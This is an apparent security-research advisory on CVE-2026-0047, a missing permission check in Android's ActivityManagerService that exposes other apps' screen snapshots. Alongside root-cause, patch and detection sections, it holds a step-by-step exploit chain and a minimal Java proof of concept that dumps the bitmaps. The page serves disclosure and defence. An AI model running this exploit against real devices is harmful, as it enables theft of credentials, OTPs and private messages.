home intel cve-2026-0047-activitymanagerservice-bitmap-proto-privesc
CVE Analysis 2026-03-02 · 8 min read

CVE-2026-0047: Missing Permission Check in dumpBitmapsProto Enables Local Privilege Escalation

A missing permission check in ActivityManagerService.dumpBitmapsProto allows any unprivileged app to access private task snapshot bitmaps, enabling local privilege escalation with no user interaction required.

#privilege-escalation#permission-bypass#information-disclosure#android-framework#local-vulnerability
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-0047 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-0047HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-0047 is a local privilege escalation vulnerability rooted in ActivityManagerService.java, specifically in the dumpBitmapsProto() method responsible for serializing task snapshot bitmaps into a protobuf stream. The Android Security Bulletin for March 2026 rates this HIGH (CVSS 8.4). The bug class is straightforward but impactful: a protected system dump path is reachable without any permission gate, exposing private in-memory task snapshots — which include rendered framebuffers of arbitrary applications — to any installed app.

No additional execution privileges are required. No user interaction is needed. An attacker-controlled app on the same device can invoke the path, extract bitmap data from other applications' task snapshots, and use that data for credential harvesting, session reconstruction, or as a stepping stone toward further privilege escalation.

Root cause: dumpBitmapsProto() in ActivityManagerService serializes sensitive task snapshot bitmaps to a caller-supplied proto stream without performing any permission or UID check, allowing any app to retrieve framebuffer data belonging to other processes.

Affected Component

  • File: frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
  • Method: dumpBitmapsProto(ProtoOutputStream proto)
  • Service: ActivityManagerService (system_server process, UID 1000)
  • IPC surface: Binder — exposed via IBinder.dump() / android.app.IActivityManager
  • Affected versions: See NVD / Android Security Bulletin March 2026

Root Cause Analysis

The dumpBitmapsProto() method iterates over all tracked TaskRecord entries held in mRecentTasks and writes their associated snapshot bitmaps into a protobuf output stream. Legitimate callers of this path (e.g., adb shell dumpsys activity bitmaps --proto) are expected to hold android.permission.DUMP, a signature-level permission. However, the method itself never validates this — it relies entirely on the assumption that the upstream caller has already enforced the check. That assumption is broken by a reachable code path that bypasses the gating logic.

// ActivityManagerService.java (vulnerable, pre-patch)
void dumpBitmapsProto(ProtoOutputStream proto) {
    // BUG: No permission check here. Caller's checkCallingPermission() is
    // bypassed via the alternate dump dispatch path. Any UID reaches this.
    final long token = proto.start(ActivityManagerServiceDumpProcessesProto.BITMAPS);
    synchronized (mGlobalLock) {
        for (int i = mRecentTasks.size() - 1; i >= 0; i--) {
            final TaskRecord tr = mRecentTasks.get(i);
            // Snapshot bitmap includes the last rendered frame of the task
            final Bitmap snapshot = mTaskSnapshotController.getSnapshot(
                    tr.taskId, tr.userId, false /* restoreFromDisk */, false /* reducedResolution */);
            if (snapshot != null) {
                // Writes raw ARGB pixel data into the proto stream — no redaction
                snapshot.writeToProto(proto, TaskRecordProto.BITMAP);
            }
        }
    }
    proto.end(token);
}

The alternate dispatch path is through the raw IBinder.dump(FileDescriptor, String[]) interface. When an app calls dump() on the ActivityManagerService binder token with the argument vector ["bitmaps", "--proto"], the dispatcher in ActivityManagerService.dump() routes to dumpBitmapsProto() after only checking for the DUMP permission in the interactive text path, not the proto path:

// ActivityManagerService.java — dump() dispatch (vulnerable)
@Override
protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
    // checkCallingPermission is only enforced on the text dump path
    if (opti < args.length && "--proto".equals(args[opti])) {
        // BUG: No permission check before proto dispatch
        dumpProto(fd, args);  // routes to dumpBitmapsProto() if args contain "bitmaps"
        return;
    }
    // Text path — permission IS checked here (too late for proto path)
    if (!DumpUtils.checkDumpPermission(mContext, TAG, pw)) return;
    // ... rest of text dump
}

The permission check in DumpUtils.checkDumpPermission() calls Context.checkCallingPermission("android.permission.DUMP"). This check is present and correct for the text dump path but is entirely absent in the --proto branch, which was added later without back-porting the permission gate.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Malicious app (any sharedUserId, no special permissions) is installed on device.

2. App obtains the ActivityManagerService binder token via ServiceManager:
      IBinder amsBinder = ServiceManager.getService("activity");

3. App constructs a FileDescriptor pair (pipe) to capture proto output:
      ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();

4. App calls IBinder.dump() with proto args, bypassing the permission check:
      amsBinder.dump(pipe[1].getFileDescriptor(), new String[]{"bitmaps", "--proto"});

5. system_server (UID 1000) executes dumpBitmapsProto() with no permission gate;
   iterates mRecentTasks, reads Bitmap objects from mTaskSnapshotController.

6. Raw ARGB pixel data for ALL recent tasks (including other users' if multi-user)
   is written into the proto stream and arrives at pipe[0] in the attacker's process.

7. App reads and parses the proto stream using ActivityManagerServiceDumpProcessesProto
   descriptor, reconstructing full-resolution task snapshots for each TaskRecord.

8. Captured bitmaps contain: banking app login screens, SMS content, 
   authentication tokens visible in rendered UI, lock screen bypass material.

9. (Optional escalation path) Feed bitmap data to an on-device OCR or CV model
   to extract credentials, OTPs, or session cookies visible in screenshots.

The attack requires zero permissions beyond INTERNET (optional, for exfiltration) and works against all foreground and background tasks that have a cached snapshot. On a typical device with recent task retention, this covers the last 5–20 applications.

// Minimal PoC — attacker app Java code
IBinder ams = ServiceManager.getService(Context.ACTIVITY_SERVICE);
ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
// Triggers dumpBitmapsProto() without DUMP permission
ams.dump(pipe[1].getFileDescriptor(), new String[]{"bitmaps", "--proto"});
pipe[1].close();

InputStream in = new FileInputStream(pipe[0].getFileDescriptor());
byte[] protoBytes = in.readAllBytes();
// Parse with protobuf descriptor to extract Bitmap fields
ActivityManagerServiceDumpProcessesProto dump =
    ActivityManagerServiceDumpProcessesProto.parseFrom(protoBytes);
// dump now contains raw ARGB bitmaps for all recent tasks

Memory Layout

This is not a memory corruption vulnerability — it is an information disclosure via a missing access control gate. The relevant in-memory state at the time of exploitation is the TaskSnapshotController cache:

system_server heap (at time of exploit trigger):
─────────────────────────────────────────────────────────────────────
mRecentTasks (ArrayList, size=12):
  [0] TaskRecord{taskId=1042, userId=0, pkg=com.bank.app}
        └── snapshot → Bitmap{width=1080, height=2340, config=ARGB_8888}
              └── nativePtr → 0x7b4c200000  (10.1 MB ARGB pixel buffer)
  [1] TaskRecord{taskId=1039, userId=0, pkg=com.google.android.gm}
        └── snapshot → Bitmap{width=1080, height=2340, config=ARGB_8888}
              └── nativePtr → 0x7b4d800000
  [2] TaskRecord{taskId=1035, userId=0, pkg=com.android.settings}
        └── snapshot → Bitmap{...}
  ...
  [11] TaskRecord{taskId=998, userId=10 /* work profile */}
        └── snapshot → Bitmap{...}  ← cross-profile data exposed
─────────────────────────────────────────────────────────────────────

After dumpBitmapsProto() executes (no permission check):
  All 12 bitmap pixel buffers serialized via snapshot.writeToProto()
  → written to attacker-controlled pipe FileDescriptor
  → available to attacker process with zero privilege
─────────────────────────────────────────────────────────────────────
Total exfiltrated data per invocation: ~120 MB uncompressed ARGB
Proto stream (compressed RGBA via PNG codec): ~8-15 MB

Patch Analysis

The fix is a one-location permission check inserted at the top of the proto dispatch branch in ActivityManagerService.dump(), mirroring the existing check in the text path. Additionally, dumpBitmapsProto() itself receives a defensive-in-depth UID assertion.

// BEFORE (vulnerable) — frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
@Override
protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
    if (opti < args.length && "--proto".equals(args[opti])) {
        // No permission check — any caller reaches proto dispatch
        dumpProto(fd, args);
        return;
    }
    if (!DumpUtils.checkDumpPermission(mContext, TAG, pw)) return;
    // text dump path...
}

// AFTER (patched — March 2026 ASB):
@Override
protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
    if (opti < args.length && "--proto".equals(args[opti])) {
        // FIXED: Enforce DUMP permission before entering proto dispatch path
        if (!DumpUtils.checkDumpAndUsageStatsPermission(mContext, TAG, pw)) {
            return;
        }
        dumpProto(fd, args);
        return;
    }
    if (!DumpUtils.checkDumpPermission(mContext, TAG, pw)) return;
    // text dump path...
}
// AFTER — defensive check added to dumpBitmapsProto() itself:
void dumpBitmapsProto(ProtoOutputStream proto) {
    // Defense-in-depth: assert caller holds DUMP permission even if
    // dispatch layer already checked (guards against future regressions)
    mContext.enforceCallingOrSelfPermission(
            android.Manifest.permission.DUMP,
            "dumpBitmapsProto requires DUMP permission");

    final long token = proto.start(ActivityManagerServiceDumpProcessesProto.BITMAPS);
    synchronized (mGlobalLock) {
        // ... unchanged iteration logic
    }
    proto.end(token);
}

The use of enforceCallingOrSelfPermission() inside dumpBitmapsProto() itself means that even if a future refactor adds another dispatch path, the method cannot be reached without android.permission.DUMP. This is the correct defense-in-depth pattern — permission checks at every trust boundary, not just at the outermost dispatcher.

Detection and Indicators

On a non-patched device, look for the following indicators of exploitation:

  • Logcat anomaly: Absence of ActivityManager: Permission Denial log when an untrusted UID calls dump() on the activity service with --proto args. Patched builds will emit this denial.
  • Binder trace: systrace or bpftrace monitoring IBinder.dump() calls from non-system UIDs (UID > 10000) to the activity service binder node.
  • Pipe allocation: /proc/<pid>/fd showing a pipe pair opened immediately before a binder transaction to /dev/binder — characteristic of the PoC pattern.
// bpftrace one-liner to catch exploitation attempt:
// Fires when any non-system UID calls dump() on the AMS binder node

bpftrace -e '
tracepoint:binder:binder_transaction /args->to_proc == $AMS_PID && uid > 1000/ {
    printf("Suspicious AMS dump() from UID %d PID %d\n", uid, pid);
}'

Remediation

  • Apply the March 2026 Android Security Patch Level (2026-03-01) or later. This is the only complete fix.
  • For OEMs shipping custom forks of ActivityManagerService: audit all dumpProto() dispatch branches for missing checkDumpPermission calls. The pattern of adding --proto paths without carrying over permission checks is a recurring error class in AMS.
  • Enterprise MDM administrators should use adb shell pm list packages -U to audit for sideloaded APKs targeting this surface on unpatched devices.
  • Verify patch application: adb shell getprop ro.build.version.security_patch should return 2026-03-01 or later.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →